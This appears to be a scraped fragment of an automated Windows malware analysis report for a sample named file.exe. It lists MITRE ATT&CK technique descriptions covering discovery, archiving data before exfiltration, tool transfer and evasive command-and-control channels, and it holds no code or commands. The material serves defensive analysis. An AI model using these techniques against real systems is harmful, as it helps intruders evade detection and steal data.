C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre